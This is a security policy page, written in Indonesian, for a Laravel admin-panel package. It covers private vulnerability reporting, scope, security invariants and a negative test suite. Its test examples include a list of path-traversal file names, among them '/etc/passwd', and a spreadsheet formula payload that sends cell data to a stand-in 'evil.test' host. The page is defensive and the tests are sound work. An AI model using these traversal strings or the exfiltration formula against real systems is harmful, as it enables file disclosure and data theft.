Keamanan
Dokumen ini membahas dua hal: bagaimana melaporkan vulnerability secara privat, dan jaminan apa saja yang sudah dilindungi test suite agar Anda dapat membedakan bug keamanan dari boundary yang memang sengaja didesain. Panel memiliki public surface yang besar — setiap parameter table memengaruhi query builder, setiap action endpoint menerima record key dari payload, dan setiap export menghasilkan file yang diakses berdasarkan nama. Jaminan keamanan hanya benar-benar berarti karena ada test yang gagal ketika boundary tersebut rusak.
Melaporkan vulnerability
Laporkan secara privat melalui email maintainer yang tercantum pada composer.json:
"authors": [
{
"name": "Alan Gentina",
"email": "alangentina95@gmail.com"
}
]2
3
4
5
6
Jangan membuka GitHub issue dan jangan membuka pull request. URL support.issues di composer.json adalah public tracker, dan public issue berarti disclosure. Hal yang sama berlaku untuk pull request karena diff-nya menjelaskan vulnerability sebelum pengguna sempat melakukan upgrade.
Repository saat ini tidak memiliki SECURITY.md, advisory process, atau embargo process yang dipublish. Email di atas adalah channel yang terdokumentasi. Jangan mengasumsikan ada private reporting form lain kecuali memang menemukannya secara eksplisit.
Laporan yang berguna sebaiknya berisi lima hal:
- Version. Gunakan
composer show chocoalano/panelatau tag terkait. - Surface yang terkena. Misalnya Panel route, action endpoint, upload endpoint, export download, options endpoint, search endpoint, atau schema.
- Request yang digunakan. Sertakan URL atau payload literal dan user/account yang digunakan.
- Apa yang terjadi, serta behavior yang seharusnya terjadi.
- Apakah failure bersifat silent. Response 200 dengan behavior salah biasanya lebih mendesak daripada hard error karena tidak ada sinyal yang menarik perhatian.
Jika dapat dinyatakan sebagai failing test di tests/Feature/Panel/Negative/, lampirkan test tersebut. Bentuk fix akhirnya memang akan menuju ke sana.
Scope vulnerability
Yang masuk scope adalah shipped surface. .gitattributes menentukan apa yang benar-benar ada di installed package; apa pun yang di-export-ignore tidak ikut distribusi.
| In scope | Di luar scope |
|---|---|
src/ — framework | examples/ — test application |
config/panda-panel.php | tests/ dan frontend/ |
database/ migrations | docs/ |
stubs/ — output generator | CI/tooling repository ini |
resources/ — Vue dan CSS yang dipublish | Kode application pengguna di sekitar Panel |
Temuan pada examples/ tetap layak dilaporkan sebagai bug biasa karena file tersebut sering menjadi pattern yang dicopy developer, tetapi bukan vulnerability pada package yang diinstall application.
Dua hal berikut adalah boundary terdokumentasi, bukan vulnerability:
- Navigation visibility bukan access control. Item yang disembunyikan hanya convenience UI. Route, action, page, dan widget tetap melakukan authorization secara terpisah. Ada test yang mengakses URL hidden item secara langsung.
- Public Panel menjadi public karena middleware yang eksplisit. Panel route default menggunakan
auth. Jika developer memanggilauthMiddleware([]), berarti guest memang sengaja dibiarkan sampaicanAccess()dan callback tersebut menerimanull.
Invariant keamanan
ADR 001 menyatakan invariant berikut sebagai konsekuensi desain. tests/Feature/Panel/Negative/ menyatakan masing-masing sebagai sesuatu yang tidak boleh terjadi. Gunakan daftar ini saat menilai sebuah perubahan.
| Invariant | Enforcement |
|---|---|
| Closure, SQL, internal policy, atau configuration tidak pernah dikirim ke browser. Schema hanya men-serialize scalar dan array. | Serialization + assertions pada suite |
| Frontend hanya mengirim identifier — action name, Resource slug, record key. Backend yang menentukan apa yang dieksekusi. | PanelActionController |
| Component dan icon name hanya resolve melalui registry build-time. Nama yang tidak di-compile tidak dapat dijangkau dari request. | icons/registry.ts, widgets/registry.ts |
Query parameter harus masuk schema whitelist. Sort column tidak dikenal, perPage di luar range, atau filter invalid diabaikan sebelum mencapai builder. | TableQuery |
| LIKE wildcard dalam search term di-escape dan panjang term dibatasi. | TableQuery |
| Widget authorization berjalan sebelum data resolution sehingga unauthorized widget tidak menjalankan query. | Widget::canView() |
Bulk authorization bersifat all-or-nothing: seluruh record di-authorize sebelum satu pun diubah. Satu forbidden record membuat seluruh request 403 tanpa write. Setiap write record tetap melewati Action::execute() dan transaction yang di-resolve Action. | Action::executeBulk() |
Record yang dikeluarkan Resource::query() tidak dapat dijangkau melalui endpoint mana pun yang menerima key. | Resource::query(), findRecord(), findRecords() |
| Action endpoint me-resolve Resource berdasarkan registry Panel yang sedang aktif, sehingga session satu Panel tidak dapat memanggil Resource Panel lain. | PanelActionController |
| Export/import report hanya dapat diakses berdasarkan nama di dalam directory yang dibangun dari authenticated user. | Download controllers |
is_admin tidak mass-assignable; registration/profile update tidak dapat mengubahnya. | Example User + tests |
| Password tidak pernah round-trip. Password field selalu serialize sebagai null dan View Page melewati password field, bukan menampilkan hash. | PasswordInput::formValue(), ViewRecord |
| CSV cell yang dapat dianggap spreadsheet formula dinetralkan. | PandaPanel\Support\Spreadsheet\Csv |
Tidak satu pun invariant berbasis user/URL tersebut di-cache. panel:cache hanya menyimpan nama class — bukan authorization result, active navigation, badge, record data, atau widget data. Cache value seperti itu berpotensi memberikan jawaban satu user kepada user lain. Test juga memastikan manifest tidak berisi closure.
Sebelas negative test file
| File | Menjamin bahwa |
|---|---|
HostileTableInputTest | sort, filter, group, search, atau page parameter yang tidak dideklarasikan schema diabaikan |
PrivilegeEscalationTest | URL tebakan, POST manual, atau id yang ditukar tidak dapat melewati policy |
ScopeBypassTest | record yang dikeluarkan Resource::query() tidak dapat dijangkau melalui endpoint ber-key |
SchemaEscapeTest | create/edit hanya menulis field yang dideklarasikan form |
MalformedInputTest | input dengan shape salah tetap mendapat response yang terkontrol dan tidak crash |
FileAndDataAccessTest | export, import report, atau notification hanya dimiliki satu user |
SpreadsheetFormulaTest | CSV cell tidak dapat berubah menjadi formula di spreadsheet pembaca |
DistributionTest | Composer archive membawa package.json agar installer dapat membaca dependency npm dan tidak membawa package-lock.json |
SchemaMistakeTest | schema yang tidak mungkin bermakna benar ditolak saat build dengan pesan yang menyebut nama yang salah |
UnreachableDeclarationTest | declaration yang menunjuk target yang tidak dapat merespons gagal dengan pesan yang menyebut target |
SilentAbsenceTest | kondisi "Resource saya hilang" memiliki penyebab yang dapat dibaca developer |
Tiga test terakhir penting karena silent failure juga merupakan security property. Resource yang hilang dari sidebar akibat policy tidak ada dapat terlihat identik dengan Resource yang sengaja disembunyikan.
Menulis security test
Ada tiga aturan yang berasal dari pengalaman dengan test yang pernah lolos karena alasan yang salah.
Hapus guard dan pastikan test gagal. Beberapa guard di suite diverifikasi dengan cara ini. Test yang tetap hijau setelah guard dihapus hanya dekorasi; bahaya sebenarnya adalah developer kemudian mempercayainya.
Siapkan target yang benar-benar akan dijangkau attack. Path traversal test terhadap file yang tidak ada dapat lolos hanya karena target tidak ditemukan:
it('refuses every shape of traversal in an export file name', function (): void {
// Dua level yang dapat dicapai traversal: root disk dan directory
// yang menampung folder per-user. Tanpa file ini, attack akan gagal
// karena target memang tidak ada dan test tetap hijau walaupun guard dihapus.
Storage::disk('local')->put('secret.csv', 'ROOT SECRET');
Storage::disk('local')->put(UserExporter::directory().'/secret.csv', 'PARENT SECRET');
$this->actingAs($this->admin);
$attempts = [
'../secret.csv',
'..%2Fsecret.csv',
'%2e%2e%2fsecret.csv',
'....//secret.csv',
'/etc/passwd',
'subdir/secret.csv',
'.',
];
// ... setiap attempt harus ditolak ...
});2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Buktikan mekanismenya, bukan sekadar absence. Refusal test harus memiliki success counterpart untuk membuktikan endpoint sebenarnya bekerja. Misalnya "user dapat mendownload export miliknya sendiri" menunjukkan refusal terhadap file user lain bukan sekadar endpoint yang rusak. Hal yang sama berlaku untuk scoped record.
Whitelist juga membutuhkan positive case. Menunjukkan hostile value diabaikan tidak cukup jika legitimate value juga ternyata diabaikan:
// `avatar` dan `accountAge` adalah column valid tetapi keduanya tidak ->sortable().
expect(appliedSortFor('sort=avatar'))->toBeNull();
expect(appliedSortFor('sort=accountAge'))->toBeNull();
// Column yang memang sortable harus dihormati.
expect(appliedSortFor('sort=name'))->toBe('name');2
3
4
5
6
Untuk output escaping, assert semantics, bukan syntax. CSV quoting hanya mengubah cara parser membaca file, bukan arti cell setelah parsing:
it('neutralizes the exfiltration formula rather than merely quoting it', function (): void {
$payload = '=HYPERLINK("http://evil.test?x="&A1,"Click me")';
$cells = csvCells(csvLine([$payload]));
expect($cells[0])->toBe("'".$payload)
->and($cells[0])->not->toStartWith('=');
});2
3
4
5
6
7
8
Memperbaiki vulnerability
Security fix adalah pull request biasa yang membawa tiga tambahan:
- Test pada
tests/Feature/Panel/Negative/yang gagal tanpa fix. - Entry
### SecuritydiCHANGELOG.md, diletakkan paling awal pada[Unreleased]. Style repository menyebut attacker, victim, CWE jika relevan, dan menjelaskan mengapa fix yang terlihat obvious bukan fix yang benar. Entry CSV adalah contoh utama: quoting hanya mengatur parsing CSV, bukan semantics cell. - Entry pada
docs/upgrading/breaking-changes.mdjika application harus melakukan perubahan. Silent change ditempatkan paling atas karena tidak ada failure lain yang akan memberi sinyal.
Jangan membuka pull request sampai private report sudah mendapat respons. Lihat Releases untuk proses dari fix ke version.
Development aid yang bukan security control
Tiga setting membantu membuat silent denial menjadi lebih terlihat saat development. Tidak satu pun merupakan security control, dan dua di antaranya justru sengaja tidak digunakan di production.
$panel->strictAuthorization(); // strictAuthorization(bool $strictAuthorization = true): selfPolicy yang tidak ada biasanya terlihat sama dengan policy yang secara eksplisit menolak. Dengan strict authorization, model yang tidak memiliki registered policy atau policy yang tidak memiliki ability terkait akan melempar PandaPanel\Exceptions\PanelAuthorizationException, bukan sekadar deny. Fitur ini off secara default karena mengubah 403 menjadi 500; di production, denial adalah pilihan yang lebih aman.
Dua aid lainnya development-only: Panel memberi warning sekali untuk unregistered icon/component name dan sekali untuk model tanpa policy yang menyebabkan Resource hilang dari navigation. Warning sengaja silent di production karena problem tersebut adalah build/configuration problem, bukan runtime signal untuk user.
Catatan
- 403, bukan redirect, adalah keputusan yang disengaja. Redirect dapat membocorkan keberadaan Panel lain dan dapat loop untuk user yang tidak memiliki Panel sama sekali.
Gate::allows()menolak jika policy tidak ada. Itu behavior yang benar, tetapi tidak dapat dibedakan dari policy yang benar-benar menolak. Karena itu adastrictAuthorization()danSilentAbsenceTest.- Authorization tidak memanggil
Gate::allows()langsung. Semua harus melewatiPandaPanel\Support\PolicyGate::allows()agar strict behavior memiliki satu source of truth. - Formula neutralisation aktif secara default dan dapat dioverride per exporter.
Exporter::escapesFormulas(): booldefault true. Override false hanya untuk file yang dibaca program lain, bukan manusia/spreadsheet. XLSX tidak terkena masalah yang sama karena writer menggunakant="inlineStr"dan tidak menulis element<f>. - Upload endpoint membaca context dari query string saja. Form value bernama
resourcetidak boleh dapat mengubah Resource target upload. - Panel access adalah pintu masuk, bukan permission system. Lolos Panel access hanya memberi akses masuk; setiap Resource, Page, Widget, dan Action tetap authorize sendiri.
- Minimum Laravel version juga merupakan security floor. Laravel 11 tidak didukung karena release 11.x memiliki advisory yang tidak lagi dipatch dan Composer tidak mengizinkan resolution tersebut untuk package ini.
Lihat juga
- Running the tests — lokasi negative test dan cara menjalankannya
- Negative security tests — detail setiap file
- Architecture decisions — desain yang menghasilkan invariant ini
- Pull requests — proses normal untuk perubahan non-vulnerability
- Releases — changelog security dan tagging
- Authorization dan Panel access rules
- Resource authorization, page, widget
- Testing authorization dan tenancy
- Production checklist